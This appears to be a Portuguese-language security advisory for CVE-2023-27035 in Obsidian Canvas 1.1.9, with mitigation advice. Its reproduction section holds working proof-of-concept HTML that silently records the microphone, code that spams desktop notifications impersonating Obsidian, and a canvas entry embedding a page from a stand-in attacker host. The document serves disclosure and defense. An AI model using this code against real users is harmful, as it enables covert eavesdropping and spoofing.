fivex3/cve-2023-27035Prova de conceito de exploração demonstrando gravação não autorizada de microfone e abuso de notificações da área de trabalho através de páginas web incorporadas no Obsidian Canvas, destacando a ausência de tratamento de solicitações de permissão do Electron.
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N
Tipo de vulnerabilidade:
Controle de Acesso Incorreto
Descrição:
Um problema descoberto no Obsidian Canvas 1.1.9 permite que atacantes remotos enviem notificações de desktop, gravem áudio do usuário e outros impactos não especificados por meio de um site incorporado na página do canvas.
Impacto:
Os sites incorporados maliciosos podem acessar APIs WEB sensíveis no aplicativo Obsidian sem a permissão e conhecimento do usuário. Por exemplo, eles podem gravar silenciosamente o microfone do usuário ou enviar notificações de desktop em nome do aplicativo Obsidian, sem o conhecimento do usuário ou concessão explícita de permissão. A causa raiz deste problema é a ausência do manipulador de Solicitação de Permissão de Sessão no aplicativo.
Produto afetado:
Versões afetadas:
Passos para reproduzir:
<!DOCTYPE html>
<html lang="en">
<head>
<title>_</title>
</head>
<body>
<h1>Make sure your microphone is unmuted.</h1>
<script>
// navigator.mediaDevices.enumerateDevices().then((devices) => console.log(devices))
// credit to https://github.com/bryanjenningz/record-audio
const recordAudio = () =>
new Promise(async resolve => {
const stream = await navigator.mediaDevices.getUserMedia({
audio: true
});
const mediaRecorder = new MediaRecorder(stream);
const audioChunks = [];
mediaRecorder.addEventListener("dataavailable", event => {
audioChunks.push(event.data);
});
const start = () => mediaRecorder.start();
const stop = () =>
new Promise(resolve => {
mediaRecorder.addEventListener("stop", () => {
const audioBlob = new Blob(audioChunks);
const audioUrl = URL.createObjectURL(audioBlob);
const audio = new Audio(audioUrl);
const play = () => audio.play();
resolve({
audioBlob,
audioUrl,
play
});
});
mediaRecorder.stop();
});
resolve({
start,
stop
});
});
const sleep = time => new Promise(resolve => setTimeout(resolve, time));
(async () => {
const recorder = await recordAudio();
recorder.start();
await sleep(5000);
const audio = await recorder.stop();
audio.play();
})();
</script>
</body>
</html>
{
"nodes":[{"id":"3cbfdfdb5bd83701","x":-995,"y":355,"width":646,"height":416,"type":"link","url":"https://ATTACKER/files/poc1.html"}],
"edges":[]
}
Prova de conceito de notificações:
<!DOCTYPE html>
<html lang="en">
<head>
<title>_</title>
</head>
<body>
<script>
let i = 0;
const interval = setInterval(() => {
const n = new Notification(`Obsidian`, {
body: 'Notification example.'
});
if (i === 10) {
clearInterval(interval);
}
i++;
}, 500);
</script>
</body>
</html>
Mitigação:
Implemente o manipulador de Solicitação de Permissão de Sessão do Electron para lidar com solicitações de permissão das páginas incorporadas. O acesso às APIs Web deve ser explicitamente concedido pelo usuário ou negado por padrão.
Referências: